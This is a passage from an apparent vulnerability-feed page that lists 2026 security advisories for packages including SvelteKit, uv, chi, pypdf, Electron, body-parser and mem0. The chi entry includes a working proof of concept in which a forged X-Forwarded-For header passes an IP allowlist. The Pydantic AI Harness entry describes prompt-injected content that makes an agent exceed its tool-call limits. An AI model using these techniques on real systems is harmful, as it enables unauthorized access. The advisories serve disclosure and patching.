non-redirect enhanced form results by supplying a custom submission callback: CVSS 2.1 (version 4.0; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-pfhg-q3qv-9q6r). EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114060&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-pfhg-q3qv-9q6r: https://github.com/advisories/GHSA-pfhg-q3qv-9q6r GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114060&date=2026-10-25 ### Impact Applications using enhanced form actions (`use:enhance`) on routes that accept paths beginning with `//`, such as catch-all routes, may be vulnerable to an open redirect. ### Patches A fix has been prepared for `@sveltejs/kit` 3.0.0. Users should upgrade to 3.0.0 or later. The fix preserves leading double slashes in action paths without generating protocol-relative URLs, restricts non-redirect action navigation to the current origin, and includes the origin when comparing action locations with the current page. ### Workarounds Reject requests whose parsed URL pathname begins with `//` before route resolution, for example in a reverse proxy or a SvelteKit `handle` hook. Alternatively, disable navigation for non-redirect enhanced form results by supplying a custom submission callback: ```svelte ({ update }) => update({ navigate: false })}> ``` This applies non-redirect results to the current page instead of navigating to the action location. Affected package ranges reported by GitHub: @sveltejs/kit: < 3.0.0 Action: GitHub lists first patched versions: @sveltejs/kit: 3.0.0. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### uv vulnerable to arbitrary file deletion through RECORD entries https://kevwire.com/record/CVE-2026-114110 uv vulnerable to arbitrary file deletion through RECORD entries (Apr 10, 2026). Wheel RECORD entries can contain relative paths that traverse outside of the wheel’s installation prefix. In versions 0.11.5 and earlier of uv, these wheels were not rejected on installation and the RECORD was respected without validation on uninstall. uv uses the RECORD to determine files to remove on uninstall. Consequently, a malicious or malformed wheel could induce deletion of arbitrary files outside of the wheel’s installation prefix on uninstall. CVSS 2.1 (version 4.0; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-pjjw-68hj-v9mw). EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114110&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-pjjw-68hj-v9mw: https://github.com/advisories/GHSA-pjjw-68hj-v9mw GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc NVD CVE-2026-114110: https://nvd.nist.gov/vuln/detail/CVE-2026-114110 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500 FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114110&date=2026-10-25 ## Impact Wheel RECORD entries can contain relative paths that traverse outside of the wheel’s installation prefix. In versions 0.11.5 and earlier of uv, these wheels were not rejected on installation and the RECORD was respected without validation on uninstall. uv uses the RECORD to determine files to remove on uninstall. Consequently, a malicious or malformed wheel could induce deletion of arbitrary files outside of the wheel’s installation prefix on uninstall. uv does not use the RECORD file to determine wheel file paths. Invalid RECORD entries cannot be used to create or modify files in arbitrary locations. Standards-compliant Python packaging tooling does not produce RECORD files that exhibit this behavior; an attacker must manually manipulate the RECORD. A user must install *and* uninstall the malformed wheel to be affected. An attack must guess the depth of the installation prefix path in order to target system files. Absolute paths in RECORD files are not allowed by the specification and, when present, uv always treats them as rooted in the wheel’s installation prefix. Absolute paths cannot be used to delete arbitrary files. Only files can be deleted, attempts to delete a directory via an invalid RECORD entry will fail. ## Patches Versions [0.11.6](https://github.com/astral-sh/uv/releases/tag/0.11.6) and newer of uv address the validation gap above, by [removing invalid entries from RECORD files on wheel installation](https://github.com/astral-sh/uv/pull/18943) and [ignoring RECORD paths that would escape the installation prefix on uninstall](https://github.com/astral-sh/uv/pull/18942). ## Workarounds Users are advised to upgrade to 0.11.6 or newer to address this advisory. Users should experience no breaking changes as a result of the patch above. Affected package ranges reported by GitHub: uv: <= 0.11.5 Action: GitHub lists first patched versions: uv: 0.11.6. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### chi: Client IP spoofing in ClientIPFromXFF via X-Forwarded-For https://kevwire.com/record/CVE-2026-114437 chi: Client IP spoofing in ClientIPFromXFF via X-Forwarded-For (Oct 23, 2026). `ClientIPFromXFF` skips any `X-Forwarded-For` entry in a configured trusted CIDR but never verifies that the direct TCP peer in `http.Request.RemoteAddr` belongs to that CIDR. A client that can reach the Go server directly can therefore append a trusted-looking proxy address and choose the client IP returned by `middleware.GetClientIP`. The attack is remote and requires one unauthenticated HTTP request with no user interaction (AV:N/AC:L/PR:N/UI:N). It changes security decisions and exposes one protected handler within the same application (S:U/C:L/I:L); no availability loss was observed (A:N). CVSS 4.8 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-j6qf-3m9c-vwj3). EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114437&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-j6qf-3m9c-vwj3: https://github.com/advisories/GHSA-j6qf-3m9c-vwj3 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114437&date=2026-10-25 ### Summary `ClientIPFromXFF` skips any `X-Forwarded-For` entry in a configured trusted CIDR but never verifies that the direct TCP peer in `http.Request.RemoteAddr` belongs to that CIDR. A client that can reach the Go server directly can therefore append a trusted-looking proxy address and choose the client IP returned by `middleware.GetClientIP`. The attack is remote and requires one unauthenticated HTTP request with no user interaction (AV:N/AC:L/PR:N/UI:N). It changes security decisions and exposes one protected handler within the same application (S:U/C:L/I:L); no availability loss was observed (A:N). **Preconditions:** The application uses `ClientIPFromXFF` and makes the origin server reachable by an anonymous client outside the configured trusted-proxy CIDRs. No victim interaction is required. 1. Send `GET /admin` directly to the origin with no `X-Forwarded-For` header. 2. Observe a `403 Forbidden` response and an empty derived client IP. 3. Repeat the request with `X-Forwarded-For: 10.0.0.7, 198.51.100.42`. 4. Observe `200 OK` and `client-ip="10.0.0.7"`. Expected: the untrusted direct peer prevents the forwarding chain from being accepted. ### Details The vulnerable code is `ClientIPFromXFF` in `middleware/client_ip.go`, lines 93-116 at the tested revision. It calls `walkXFF` with only the attacker-controlled header, skips every entry that matches a trusted prefix, and stores the first remaining address: ```go walkXFF(r.Header[xForwardedForHeader], func(v string) bool { ip, ok := parseHeaderAddr(v) if !ok { return true } if inAnyPrefix(ip, prefixes) { return false } found = ip return true }) ``` The function does not parse `r.RemoteAddr` before this walk. Consequently, the configured CIDRs identify trusted strings inside `X-Forwarded-For`, but do not establish that the immediate sender is one of those trusted proxies. ### Proof of concept Using Go 1.24 or later, create and run this minimal application against the tested revision: ```sh mkdir chi-clientip-poc cd chi-clientip-poc go mod init clientip-poc go get github.com/go-chi/chi/v5@167e1e3bd039d060696b99c8da4e876ae04f42c1 cat > main.go <<'EOF' package main import ( "fmt" "log" "net/http" "github.com/go-chi/chi/v5" "github.com/go-chi/chi/v5/middleware" ) const allowedIP = "10.0.0.7" func main() { r := chi.NewRouter() r.Use(middleware.ClientIPFromXFF("198.51.100.0/24")) r.Get("/admin", func(w http.ResponseWriter, r *http.Request) { clientIP := middleware.GetClientIP(r.Context()) if clientIP != allowedIP { http.Error(w, fmt.Sprintf("denied: tcp-peer=%q client-ip=%q", r.RemoteAddr, clientIP), http.StatusForbidden) return } fmt.Fprintf(w, "allowed: tcp-peer=%q client-ip=%q\n", r.RemoteAddr, clientIP) }) log.Print("listening on http://127.0.0.1:3001") log.Fatal(http.ListenAndServe("127.0.0.1:3001", r)) } EOF go run . ``` The no-header control was rejected: ```console $ curl --http1.1 -i http://127.0.0.1:3001/admin HTTP/1.1 403 Forbidden Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Tue, 06 Oct 2026 15:46:27 GMT Content-Length: 48 denied: tcp-peer="127.0.0.1:54416" client-ip="" ``` Adding the forged chain authorized the same direct client: ```console $ curl --http1.1 -i -H 'X-Forwarded-For: 10.0.0.7, 198.51.100.42' http://127.0.0.1:3001/admin HTTP/1.1 200 OK Date: Tue, 06 Oct 2026 15:46:33 GMT Content-Length: 57 Content-Type: text/plain; charset=utf-8 allowed: tcp-peer="127.0.0.1:54417" client-ip="10.0.0.7" ``` ### Impact I made an anonymous direct connection from `127.0.0.1`, supplied a header that ended in a different trusted-proxy CIDR, and caused the application to treat my client IP as the allowlisted `10.0.0.7`. This changed the authorization decision from `403 Forbidden` to `200 OK` for the protected handler. Affected package ranges reported by GitHub: github.com/go-chi/chi/v5: <= 5.3.2 Action: GitHub lists first patched versions: github.com/go-chi/chi/v5: 5.4.0. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### Pydantic AI Harness tool-call limit bypass in nested CodeMode calls https://kevwire.com/record/CVE-2026-114386 Pydantic AI Harness tool-call limit bypass in nested CodeMode calls (Oct 21, 2026). Pydantic AI Harness before 0.59.0 fails to enforce UsageLimits.tool_calls_limit on nested tool calls dispatched from run_code in the CodeMode toolset. Users or prompt-injected content can make the sandboxed program invoke tools via run_nested_call() without check_before_tool_call, exceeding operator limits on costly or side-effecting tools. CVSS 6.3 (version 4.0; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-3589-pxp7-3gj8). EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114386&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-3589-pxp7-3gj8: https://github.com/advisories/GHSA-3589-pxp7-3gj8 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114386&date=2026-10-25 Pydantic AI Harness before 0.59.0 fails to enforce UsageLimits.tool_calls_limit on nested tool calls dispatched from run_code in the CodeMode toolset. Users or prompt-injected content can make the sandboxed program invoke tools via run_nested_call() without check_before_tool_call, exceeding operator limits on costly or side-effecting tools. Affected package ranges reported by GitHub: pydantic-ai-harness: < 0.59.0 Action: GitHub lists first patched versions: pydantic-ai-harness: 0.59.0. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### odf-kit has HTML injection leading to XSS in odsToHtml() via unescaped style attribute values https://kevwire.com/record/GHSA-2rqm-h6hv-g79v odf-kit has HTML injection leading to XSS in odsToHtml() via unescaped style attribute values (Oct 23, 2026). ODF style values are interpolated into `style="..."` attributes without HTML-escaping in odf-kit's ODS to-HTML renderer (`odsToHtml()`). A double-quote character inside an attacker-controlled style value breaks out of the attribute, allowing arbitrary HTML/attribute injection — and therefore script execution (XSS) — from a crafted `.ods` file wherever the rendered output is inserted as HTML, which is the documented purpose of the function. Two emission sites in `src/ods/to-html/html-renderer.ts` (before 0.14.0, `src/ods-reader/html-renderer.ts`) write document-controlled values into a `style` attribute without escaping: CVSS 6.1 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-2rqm-h6hv-g79v). Sources: GitHub-reviewed advisory GHSA-2rqm-h6hv-g79v: https://github.com/advisories/GHSA-2rqm-h6hv-g79v GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc ### Summary ODF style values are interpolated into `style="..."` attributes without HTML-escaping in odf-kit's ODS to-HTML renderer (`odsToHtml()`). A double-quote character inside an attacker-controlled style value breaks out of the attribute, allowing arbitrary HTML/attribute injection — and therefore script execution (XSS) — from a crafted `.ods` file wherever the rendered output is inserted as HTML, which is the documented purpose of the function. ### Details Two emission sites in `src/ods/to-html/html-renderer.ts` (before 0.14.0, `src/ods-reader/html-renderer.ts`) write document-controlled values into a `style` attribute without escaping: - **Cell style.** `buildInlineStyle()` assembles a CSS string from the cell's formatting properties (`fo:color`, `fo:font-size`, `fo:font-family`, `fo:background-color`, `fo:text-align`, etc.) with no escaping, and `renderCell` emits it raw as the cell's `style` attribute. - **Row height.** `row.height` (from `style:row-height`) is emitted raw into the row element's `style` attribute. The same defect in the ODT renderer (`odtToHtml()`) is tracked as GHSA-3cgg-c5pp-57h6 (CVE-2026-113787). ### Impact Any consumer that renders `odsToHtml()` output as HTML gets XSS from a crafted `.ods` file they convert: untrusted file → arbitrary tags and attributes → script execution in the host page with the page's origin. ### Patches Fixed in 0.14.2. Both sites now route document-controlled values through a shared attribute-escaping helper: - [`1424227`](https://github.com/GitHubNewbie0/odf-kit/commit/1424227d1ca2716a249b623d1456575ff0331dcc): escape style attribute values in the ODS HTML renderer - [`aa64c73`](https://github.com/GitHubNewbie0/odf-kit/commit/aa64c734ebd7e7be40e35fcda83b1144193c3da2): the shared `escapeAttr` helper Users should upgrade to 0.14.2 or later. ### Credit Reported by @PethuKannan. Affected package ranges reported by GitHub: odf-kit: >= 0.9.8, < 0.14.2 Action: GitHub lists first patched versions: odf-kit: 0.14.2. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### pypdf: Possible long runtimes for repeated references to the same missing object https://kevwire.com/record/CVE-2026-115572 pypdf: Possible long runtimes for repeated references to the same missing object (Oct 23, 2026). An attacker who uses this vulnerability can craft a PDF which leads to long runtimes. This requires loading relevant parts of a file (like their pages) where the same, but non-existent indirect object is referenced multiple times. This has been fixed in [pypdf==6.21.2](https://github.com/py-pdf/pypdf/releases/tag/6.21.2). CVSS 7.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115572). EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115572&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-6c7f-9265-g8fw: https://github.com/advisories/GHSA-6c7f-9265-g8fw GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc NVD CVE-2026-115572: https://nvd.nist.gov/vuln/detail/CVE-2026-115572 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000 FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115572&date=2026-10-25 ### Impact An attacker who uses this vulnerability can craft a PDF which leads to long runtimes. This requires loading relevant parts of a file (like their pages) where the same, but non-existent indirect object is referenced multiple times. ### Patches This has been fixed in [pypdf==6.21.2](https://github.com/py-pdf/pypdf/releases/tag/6.21.2). ### Workarounds If you cannot upgrade yet, consider applying the changes from PR [#4240](https://github.com/py-pdf/pypdf/pull/4240). Affected package ranges reported by GitHub: pypdf: < 6.21.2 Action: GitHub lists first patched versions: pypdf: 6.21.2. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### pypdf: Possible long runtimes for repeated malformed cross-reference entries (Follow-up) https://kevwire.com/record/CVE-2026-115585 pypdf: Possible long runtimes for repeated malformed cross-reference entries (Follow-up) (Oct 23, 2026). An attacker who uses this vulnerability can craft a PDF which leads to long runtimes. This requires cross-reference streams with repeated malformed cross-reference streams. This has been fixed in [pypdf==6.21.2](https://github.com/py-pdf/pypdf/releases/tag/6.21.2). CVSS 7.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115585). EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115585&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-jr96-gvgh-j3r4: https://github.com/advisories/GHSA-jr96-gvgh-j3r4 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc NVD CVE-2026-115585: https://nvd.nist.gov/vuln/detail/CVE-2026-115585 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000 FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115585&date=2026-10-25 ### Impact An attacker who uses this vulnerability can craft a PDF which leads to long runtimes. This requires cross-reference streams with repeated malformed cross-reference streams. ### Patches This has been fixed in [pypdf==6.21.2](https://github.com/py-pdf/pypdf/releases/tag/6.21.2). ### Workarounds If you cannot upgrade yet, consider applying the changes from PR [#4240](https://github.com/py-pdf/pypdf/pull/4240). ### Notes This is a follow-up to https://github.com/py-pdf/pypdf/security/advisories/GHSA-55h5-xmcq-c37v, which had the side-effect of still loading the whole stream again despite the cache being present. Affected package ranges reported by GitHub: pypdf: < 6.21.2 Action: GitHub lists first patched versions: pypdf: 6.21.2. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### pypdf: Possible long runtimes for large xref table header limits https://kevwire.com/record/CVE-2026-115580 pypdf: Possible long runtimes for large xref table header limits (Oct 23, 2026). An attacker who uses this vulnerability can craft a PDF which leads to long runtimes. This requires opening a file with large/wrong upper limits in the xref table. This has been fixed in [pypdf==6.21.2](https://github.com/py-pdf/pypdf/releases/tag/6.21.2). CVSS 7.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115580). EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115580&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-gmh7-3g9r-mjh5: https://github.com/advisories/GHSA-gmh7-3g9r-mjh5 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc NVD CVE-2026-115580: https://nvd.nist.gov/vuln/detail/CVE-2026-115580 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000 FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115580&date=2026-10-25 ### Impact An attacker who uses this vulnerability can craft a PDF which leads to long runtimes. This requires opening a file with large/wrong upper limits in the xref table. ### Patches This has been fixed in [pypdf==6.21.2](https://github.com/py-pdf/pypdf/releases/tag/6.21.2). ### Workarounds If you cannot upgrade yet, consider applying the changes from PR [#4239](https://github.com/py-pdf/pypdf/pull/4239). Affected package ranges reported by GitHub: pypdf: < 6.21.2 Action: GitHub lists first patched versions: pypdf: 6.21.2. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### Tokio: Race condition in `tokio::time::Interval` https://kevwire.com/record/CVE-2026-115567 Tokio: Race condition in `tokio::time::Interval` (Oct 23, 2026). On the multi-threaded runtime, there is a race condition between `Interval::poll_tick` and the runtime's time driver. This affects `Interval` only. `Sleep` and `Timeout` are **not** affected. CVSS 5.8 (version 4.0; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-5wjr-9356-4wc8). EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115567&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-5wjr-9356-4wc8: https://github.com/advisories/GHSA-5wjr-9356-4wc8 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115567&date=2026-10-25 ### Summary On the multi-threaded runtime, there is a race condition between `Interval::poll_tick` and the runtime's time driver. This affects `Interval` only. `Sleep` and `Timeout` are **not** affected. ### Details In Tokio v1.54.0, a race condition between `tokio::time::Interval::poll_tick` (including `.tick().await`) and the runtime time driver can drop an internal timer entry without synchronizing with the driver thread that is firing it. This causes a data race and use-after-free on the timer's waker and task state in safe Rust, leading to assertion panics, task reference-count corruption, or heap memory corruption. This bug was introduced by https://github.com/tokio-rs/tokio/pull/8458, and it was fixed by https://github.com/tokio-rs/tokio/pull/8692. ### Impact This may lead to crashes and use-after-frees in applications using `Interval` on a multi-threaded runtime. Since this issue is known to lead to crashes in production systems, the v1.54.0 release of Tokio has been yanked. ### Credits Thank you to [creepycode](https://github.com/ByteZ1337) and [carabistouille](https://github.com/carabistouflette) for reporting this privately using the procedure outlined in our security policy. They both reported the issue independently of each other. Affected package ranges reported by GitHub: tokio: = 1.54.0 Action: GitHub lists first patched versions: tokio: 1.54.1. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### Electron: Mitigation for compromised eMudhra intermediate certificates https://kevwire.com/record/CVE-2026-115570 Electron: Mitigation for compromised eMudhra intermediate certificates (Oct 23, 2026). A set of eMudhra intermediate certificates were compromised and are being blocked by browsers and other TLS clients. This Electron update adds the same block to both Chromium networking and Node.js `tls`, `https` and `fetch`. On earlier versions, an attacker holding a certificate issued through these intermediates and able to intercept network traffic could impersonate a TLS server to an app. Apps are only affected if they make TLS connections over a network an attacker can intercept. Apps that make no network connections are not affected. CVSS 7.4 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115570). EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115570&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-jr5w-w6x2-84p9: https://github.com/advisories/GHSA-jr5w-w6x2-84p9 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc NVD CVE-2026-115570: https://nvd.nist.gov/vuln/detail/CVE-2026-115570 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000 FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115570&date=2026-10-25 ### Impact A set of eMudhra intermediate certificates were compromised and are being blocked by browsers and other TLS clients. This Electron update adds the same block to both Chromium networking and Node.js `tls`, `https` and `fetch`. On earlier versions, an attacker holding a certificate issued through these intermediates and able to intercept network traffic could impersonate a TLS server to an app. Apps are only affected if they make TLS connections over a network an attacker can intercept. Apps that make no network connections are not affected. Other software has shipped the same mitigation, including Go (CVE-2026-111943) and Firefox (CVE-2026-113470). ### Workarounds There are no app side workarounds, you must update to a patched version of Electron. ### Fixed Versions * `45.0.0-beta.6` * `44.9.1` * `43.8.1` * `42.11.16` ### For more information If you have any questions or comments about this advisory, email us at [security@electronjs.org](mailto:security@electronjs.org) Affected package ranges reported by GitHub: electron: >= 45.0.0-alpha.1, < 45.0.0-beta.6 electron: >= 44.0.0-alpha.1, < 44.9.1 electron: >= 43.0.0-alpha.1, < 43.8.1 electron: < 42.11.16 Action: GitHub lists first patched versions: electron: 45.0.0-beta.6; electron: 44.9.1; electron: 43.8.1; electron: 42.11.16. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### body-parser vulnerable to Denial of Service via trailing bytes after a compressed request body https://kevwire.com/record/CVE-2026-111181 body-parser vulnerable to Denial of Service via trailing bytes after a compressed request body (Oct 22, 2026). body-parser is body parsing middleware for Node.js and Express. In versions before 1.20.9 and in versions from 2.0.0 before 2.4.0, a single request can crash any application using body-parser with default options. When a request carries a Content-Encoding such as gzip, body-parser pipes it into a decompression stream and, after reading the body, leaves that stream with no error listener. A payload of one valid compressed frame followed by trailing bytes decodes and the application responds normally, but the trailing bytes then reach the already-finished decoder, which emits an error that is re-thrown as an uncaught exception and terminates the process. No matching route is required because body parsing runs before routing, so any endpoint that parses a body is affected. The issue is fixed in body-parser 2.4.0 and 1.20.9, and users should upgrade to one of those versions or later. As a workaround, disable request-body inflation (set the body-parser inflate option to false) so encoded requests are rejected before any decompression stream is created. CVSS 7.5 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-27r3-jxmh-p828). EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111181&date=2026-10-25). Sources: NVD CVE-2026-111181: https://nvd.nist.gov/vuln/detail/CVE-2026-111181 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500 GitHub-reviewed advisory GHSA-27r3-jxmh-p828: https://github.com/advisories/GHSA-27r3-jxmh-p828 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111181&date=2026-10-25 body-parser is body parsing middleware for Node.js and Express. In versions before 1.20.9 and in versions from 2.0.0 before 2.4.0, a single request can crash any application using body-parser with default options. When a request carries a Content-Encoding such as gzip, body-parser pipes it into a decompression stream and, after reading the body, leaves that stream with no error listener. A payload of one valid compressed frame followed by trailing bytes decodes and the application responds normally, but the trailing bytes then reach the already-finished decoder, which emits an error that is re-thrown as an uncaught exception and terminates the process. No matching route is required because body parsing runs before routing, so any endpoint that parses a body is affected. The issue is fixed in body-parser 2.4.0 and 1.20.9, and users should upgrade to one of those versions or later. As a workaround, disable request-body inflation (set the body-parser inflate option to false) so encoded requests are rejected before any decompression stream is created. NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation. Action: Check the vendor advisory for affected versions and fixes. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### mem0ai Databricks vector store vulnerable to SQL injection https://kevwire.com/record/CVE-2026-115324 mem0ai Databricks vector store vulnerable to SQL injection (Oct 22, 2026). mem0 0.1.117 before 1.0.8 contains an sql injection vulnerability in mem0/vector_stores/databricks.py that allows attackers to inject SQL by influencing stored memory content. Attackers can supply crafted memory text, metadata, or message names that reach unescaped insert() and update() string interpolation to execute injected SQL on the configured Databricks SQL warehouse. CVSS 9.2 (version 4.0; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-7587-9684-52r6). EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115324&date=2026-10-25). Sources: NVD CVE-2026-115324: https://nvd.nist.gov/vuln/detail/CVE-2026-115324 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500 GitHub-reviewed advisory GHSA-7587-9684-52r6: https://github.com/advisories/GHSA-7587-9684-52r6 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115324&date=2026-10-25 mem0 0.1.117 before 1.0.8 contains an sql injection vulnerability in mem0/vector_stores/databricks.py that allows attackers to inject SQL by influencing stored memory content. Attackers can supply crafted memory text, metadata, or message names that reach unescaped insert() and update() string interpolation to execute injected SQL on the configured Databricks SQL warehouse. NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation. Action: Check the vendor advisory for affected versions and fixes. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### gitoxide gix: untrusted .git/config disables filesystem .git-protection path checks via unfiltered protect_options() https://kevwire.com/record/GHSA-q54r-jf2p-rfr2 gitoxide gix: untrusted .git/config disables filesystem .git-protection path checks via unfiltered protect_options() (Oct 23, 2026). In the `gix` crate, `Cache::protect_options()` in 